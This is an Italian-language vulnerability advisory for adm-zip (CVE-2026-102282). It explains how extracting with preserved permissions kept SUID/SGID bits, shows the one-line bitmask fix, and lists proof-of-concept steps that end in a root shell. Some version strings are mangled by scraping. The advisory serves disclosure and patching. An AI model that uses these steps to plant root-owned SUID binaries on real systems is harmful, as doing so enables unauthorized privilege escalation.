
CVE-2026-102282: Escalation locale dei privilegi tramite la conservazione di SUID/SGID durante l'estrazione degli archivi
adm-zip è una consolidata libreria ZIP in puro JavaScript per Node.js, con oltre 20 milioni di download settimanali nell'ecosistema npm. È ampiamente integrata in pipeline CI/CD, flussi di build di container, strumenti di deployment cloud e applicazioni server-side per gestire la compressione e l'estrazione di archivi.
Durante l'estrazione, adm-zip supporta un'opzione di configurazione keepOriginalPermission pensata per ripristinare i permessi POSIX registrati nell'archivio. Tuttavia, la libreria non filtrava i bit speciali dei permessi dei file Unix che conferiscono privilegi: SUID (S_ISUID, 0o4000), SGID (S_ISGID, 0o2000) e lo sticky bit (S_ISVTX, 0o1000).
Quando un'applicazione estrae un archivio ZIP non attendibile con keepOriginalPermission = true mentre è in esecuzione con privilegi elevati (come un runner CI a livello root, un entrypoint di container Docker o un demone di attività backend), adm-zip applica i bit SUID/SGID specificati dall'attaccante su disco tramite fs.chmodSync(). Questo crea un eseguibile SUID di proprietà di root sul filesystem dell'host, consentendo a un utente locale non privilegiato di eseguire il binario e ottenere immediatamente privilegi di root.
adm-zip >= 0.5.10, <= 0.6.0adm-zip >= 0.6.1Nella specifica del formato ZIP PKWARE, i permessi dei file Unix sono memorizzati nel campo a 32 bit external file attributes dell'Central Directory Header (byte 38-41). Sugli archivi compatibili con Unix, i 16 bit superiori codificano il tipo di file e la modalità di permesso POSIX a 12 bit (0o7777).
Nelle versioni <= 0.6.0, headers/entryHeader.js utilizzava una maschera di bit a 12 bit (0xfff):
// headers/entryHeader.js
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
La maschera di bit 0xfff (binario 1111 1111 1111) estrae l'intero blocco dei 12 bit inferiori, conservando non solo i permessi standard di lettura/scrittura/esecuzione (0o777), ma anche i bit di permesso speciali 0o4000 (SUID), 0o2000 (SGID) e 0o1000 (Sticky).
Nella versione 0.6.1, la maschera è stata limitata a 0o777 (511 in decimale), eliminando tutti i bit di privilegio speciali:
get fileAttr() {
- return (_attr || 0) >> 16 & 0xfff;
+ return (_attr || 0) >> 16 & 0o777;
}
Il problema si attiva quando keepOriginalPermission è abilitato durante l'estrazione:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeToFile(entryName, content, overwrite, fileAttr);
In util/utils.js, l'attributo estratto veniva passato direttamente al filesystem senza validazione:
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
Quando il processo di estrazione viene eseguito come root (euid 0) su un filesystem montato senza nosuid, fs.chmodSync() imposta i permessi del file estratto alla modalità 0o4755 (-rwsr-xr-x) con proprietario root:root.
[email protected])Creazione dell'archivio ed estrazione privilegiata:
$ g++ -O2 Verify.cpp -o Verify
$ node BuildZip.js Verify exploit.zip tools/helper
Generated: exploit.zip -> tools/helper (mode 0o104755)
$ sudo node Extract.js exploit.zip /var/local/poc_out
Extracted exploit.zip into /var/local/poc_out
$ stat -c "%a %A %U:%G" /var/local/poc_out/tools/helper
4755 -rwsr-xr-x root:root
Esecuzione da parte di un utente locale non privilegiato (uid=1000):
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ /var/local/poc_out/tools/helper
[*] Real UID: 1000, Effective UID: 0
[+] SUID preserved. Escalating to root.
# id
uid=0(root) gid=0(root) groups=0(root)
[email protected])$ sudo node Extract.js exploit.zip /var/local/poc_out_patched
Extracted exploit.zip into /var/local/poc_out_patched
$ stat -c "%a %A %U:%G" /var/local/poc_out_patched/tools/helper
755 -rwxr-xr-x root:root
$ /var/local/poc_out_patched/tools/helper
[*] Real UID: 1000, Effective UID: 1000
[-] Normal execution context (unprivileged).
Quando file ZIP non attendibili vengono elaborati con privilegi elevati—come agent di build automatizzati, ambienti di hosting condiviso, routine di inizializzazione di container serverless e framework di installazione di plugin—un utente non privilegiato può fornire un archivio appositamente creato per installare un binario SUID arbitrario di proprietà di root, portando a Escalation Locale di Privilegi (LPE) ed esecuzione di codice arbitrario come root.
git clone https://github.com/x86byte/adm-zip_LPE-PoC.git
cd adm-zip_LPE-PoC/adm-zip_lpe
g++ -O2 Verify.cpp -o Verify
node BuildZip.js Verify exploit.zip tools/helper
adm-zip:npm install [email protected]
sudo node Extract.js exploit.zip /var/tmp/poc_out
stat -c "%a %A %U:%G" /var/tmp/poc_out/tools/helper
# Output: 4755 -rwsr-xr-x root:root
/var/tmp/poc_out/tools/helper
Nota: la directory di estrazione di destinazione deve risiedere su un filesystem montato senza nosuid.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Punteggio base 7.1)0.6.1